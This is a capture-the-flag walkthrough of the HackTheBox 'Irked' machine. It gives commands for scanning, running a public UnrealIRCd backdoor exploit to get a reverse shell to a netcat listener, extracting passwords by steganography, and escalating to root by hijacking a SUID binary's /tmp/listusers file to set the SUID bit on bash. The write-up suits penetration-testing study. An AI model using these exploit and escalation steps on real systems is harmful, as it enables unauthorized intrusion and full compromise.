# Irked Irked is an easy-rated Linux machine from [HackTheBox](https://app.hackthebox.com/machines/163), created by Creator MrAgent. In the current post, my IP is 10.10.14.27, and the target IP is 10.129.124.47. This machine is straightforward. It follows the basic steps for enumeration and exploitation, with some research included. ### Gathering Information The first steps are about getting basic information about the target, by using nmap and searching information from the website. {% code title="Local Terminal" %} ```bash nmap -p- --open -T5 -v -n 10.129.124.47 ``` {% endcode %}

There is a website, and a lot of ports related to IRC (Internet Relay Chat), we need to get details.

{% code title="Local Terminal" %} ```bash nmap -sCV -p 22,80,111,6697,8067,34716,65534 10.129.124.47 ``` {% endcode %}

Definitely there is an IRC working, those are a communication protocol in real time that we can exploit.

{% code title="Local Terminal" %} ```bash whatweb -v http://10.129.124.47 ``` {% endcode %}

* Browser: [http://10.129.124.47](http://10.129.124.47/)

We have limited information, but that phrase is enough, at this point our best option is to search about **Unrealircd Exploit,** you will find [this at GitHub.](https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor) ### Weaponization and Exploitation {% code title="Local Terminal" %} ```bash git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor cd UnrealIRCd-3.2.8.1-Backdoor/ batcat exploit.py ``` {% endcode %}

There is some stuff to change, add the information of your own machine there (Here: 10.10.14.27 // 443), if you continue the analysis, you will find a lot of payloads from an argument, we will use bash.

Here we need to open a new terminal listening using the port 443. {% code title="Local Terminal \[B]" %} ```bash nc -nlvp 443 ``` {% endcode %} {% code title="Local Terminal \[A]" %} ```bash python3 exploit.py 10.129.124.47 6697 -payload bash ``` {% endcode %} We are using the target port 6697 because the IRC is there. After executing, a message “Exploit sent successfully” will appear, and your second **local terminal \[B]** will be connected to the target, this will be called **\[IRCD]**. Now we will start with some [TTY treatment](https://robertos-notebook.gitbook.io/cybersecurity/cybersecurity/tip-and-tricks/bash-upgrade). {% code title="Target Terminal \[IRCD]" %} ```bash cd / find \-name user.txt 2>/dev/null ``` {% endcode %}

After exploring a little bit, at /home/djmardov/Documents there is a backup hidden file, let’s see with cat and check what we can find.

Here we have two things: a clue about Steganography, maybe the image at the URL, and a password, probably related to the Steganography step. Now download the image from [http://10.129.124.47](http://10.129.124.47/), the angry face, and open a local terminal. {% code title="Local Terminal" %} ```bash exitftool irked.jpg ``` {% endcode %}

{% code title="Local Terminal" %} ```bash strings irked.jpg steghide extract -sf irked.jpg # Without password, it fails. steghide extract -sf irked.jpg # pass: UPupDOWNdownLRlrBAbaSSss cat pass.txt ``` {% endcode %}

By using Steghide, we extract a new password “Kab6h+m+bbp2J:HG”, we can try to use it at IRCD to change our user. {% code title="Target Terminal \[IRCD]" %} ```bash su djmardov #Pass: Kab6h+m+bbp2J:HG ``` {% endcode %}

It works, now we are Djmardov and we can read the flag at /home/djmardov/Documents/user.txt ### Privileges Scalation {% code title="Target Terminal \[Djmardov]" %} ```bash cd / find \-perm -4000 2>/dev/null ``` {% endcode %}

{% code title="Target Terminal \[Djmardov]" %} ```bash /usr/bin/viewuser ``` {% endcode %}

A beta for a command to work with permissions?

{% code title="Target Terminal \[Djmardov]" %} ```bash strings /usr/bin/viewuser ``` {% endcode %}

By using Strings, we can see that needs the file /tmp/listusers

We don’t lose if we try to create that file and put a command inside it. {% code title="Target Terminal \[Djmardov]" %} ```bash touch /tmp/listusers chmod +x /tmp/listusers nano /tmp/listusers ``` {% endcode %} {% code title="Content of /tmp/listusers" %} ```bash #!/bin/bash chmod u+s /bin/bash ``` {% endcode %} {% code title="Target Terminal \[Djmardov]" %} ```bash ls -l /bin/bash ``` {% endcode %}

{% code title="Target Terminal \[Djmardov]" %} ```bash bash -p ``` {% endcode %} {% code title="Target Terminal \[root]" %} ```bash cat /root/root.txt ``` {% endcode %}